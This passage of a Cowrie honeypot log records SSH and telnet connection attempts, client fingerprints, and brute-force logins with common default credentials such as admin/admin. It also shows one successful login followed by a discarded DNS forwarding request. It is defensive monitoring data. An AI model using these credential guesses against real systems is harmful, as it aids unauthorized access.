cCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:16.302382Z","src_ip":"103.63.108.25","session":"64841516ee61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qazXSW@","message":"login attempt [postgres/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:18.931204Z","src_ip":"103.63.108.25","session":"64841516ee61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:20.860382Z","src_ip":"103.63.108.25","session":"64841516ee61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34722,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ec69ce099a","protocol":"ssh","message":"New connection: 159.203.92.129:34722 (159.203.135.109:22) [session: 03ec69ce099a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:38.659064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:38.663354Z","src_ip":"159.203.92.129","session":"03ec69ce099a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:38.667572Z","src_ip":"159.203.92.129","session":"03ec69ce099a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a123","message":"login attempt [a/a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:38.722644Z","src_ip":"159.203.92.129","session":"03ec69ce099a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:39.729467Z","src_ip":"159.203.92.129","session":"03ec69ce099a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":53106,"dst_ip":"159.203.135.109","dst_port":22,"session":"86d700fd1b61","protocol":"ssh","message":"New connection: 140.106.25.230:53106 (159.203.135.109:22) [session: 86d700fd1b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:48.003649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:48.008125Z","src_ip":"140.106.25.230","session":"86d700fd1b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:48.040104Z","src_ip":"140.106.25.230","session":"86d700fd1b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"admin","message":"login attempt [sysadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:48.186718Z","src_ip":"140.106.25.230","session":"86d700fd1b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:49.220081Z","src_ip":"140.106.25.230","session":"86d700fd1b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":55280,"dst_ip":"10.17.0.5","dst_port":22,"session":"692e46a56e13","protocol":"ssh","message":"New connection: 152.32.238.146:55280 (10.17.0.5:22) [session: 692e46a56e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:57.224337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:57.233922Z","src_ip":"152.32.238.146","session":"692e46a56e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:57.242954Z","src_ip":"152.32.238.146","session":"692e46a56e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"NISECTC5002","message":"login attempt [ubuntu/NISECTC5002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:57.317480Z","src_ip":"152.32.238.146","session":"692e46a56e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:21:58.340180Z","src_ip":"152.32.238.146","session":"692e46a56e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":33256,"dst_ip":"10.17.0.5","dst_port":22,"session":"7560df7c17f2","protocol":"ssh","message":"New connection: 196.189.51.7:33256 (10.17.0.5:22) [session: 7560df7c17f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:10.409664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:10.413899Z","src_ip":"196.189.51.7","session":"7560df7c17f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:10.580047Z","src_ip":"196.189.51.7","session":"7560df7c17f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdfasdf","message":"login attempt [postgres/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:11.270995Z","src_ip":"196.189.51.7","session":"7560df7c17f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15518,"dst_ip":"10.17.0.5","dst_port":22,"session":"480ce52d3838","protocol":"ssh","message":"New connection: 87.251.64.176:15518 (10.17.0.5:22) [session: 480ce52d3838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:11.866570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:11.870417Z","src_ip":"87.251.64.176","session":"480ce52d3838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:11.965938Z","src_ip":"87.251.64.176","session":"480ce52d3838","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:12.256017Z","src_ip":"87.251.64.176","session":"480ce52d3838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:12.355398Z","session":"480ce52d3838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:12.438303Z","src_ip":"196.189.51.7","session":"7560df7c17f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:12.456732Z","src_ip":"87.251.64.176","session":"480ce52d3838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:12.555928Z","src_ip":"87.251.64.176","session":"480ce52d3838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.22.4.154","src_port":46425,"dst_ip":"10.17.0.5","dst_port":23,"session":"e72922197f7a","protocol":"telnet","message":"New connection: 31.22.4.154:46425 (10.17.0.5:23) [session: e72922197f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:16.753835Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59188,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f02cf5b2e5e","protocol":"ssh","message":"New connection: 159.203.92.129:59188 (159.203.135.109:22) [session: 8f02cf5b2e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:21.875020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:21.879408Z","src_ip":"159.203.92.129","session":"8f02cf5b2e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:21.883705Z","src_ip":"159.203.92.129","session":"8f02cf5b2e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"password","message":"login attempt [a/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:21.893770Z","src_ip":"159.203.92.129","session":"8f02cf5b2e5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:22.899599Z","src_ip":"159.203.92.129","session":"8f02cf5b2e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":55230,"dst_ip":"159.203.135.109","dst_port":22,"session":"8096c6399b31","protocol":"ssh","message":"New connection: 103.63.108.25:55230 (159.203.135.109:22) [session: 8096c6399b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:29.439431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:29.454852Z","src_ip":"103.63.108.25","session":"8096c6399b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:29.727395Z","src_ip":"103.63.108.25","session":"8096c6399b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"toor123","message":"login attempt [test/toor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:31.142055Z","src_ip":"103.63.108.25","session":"8096c6399b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:32.428616Z","src_ip":"103.63.108.25","session":"8096c6399b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52146,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cb66e4b4499","protocol":"ssh","message":"New connection: 152.32.238.146:52146 (10.17.0.5:22) [session: 4cb66e4b4499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:39.043411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:22:39.051020Z","src_ip":"152.32.238.146","session":"4cb66e4b4499","protocol":"ssh"}
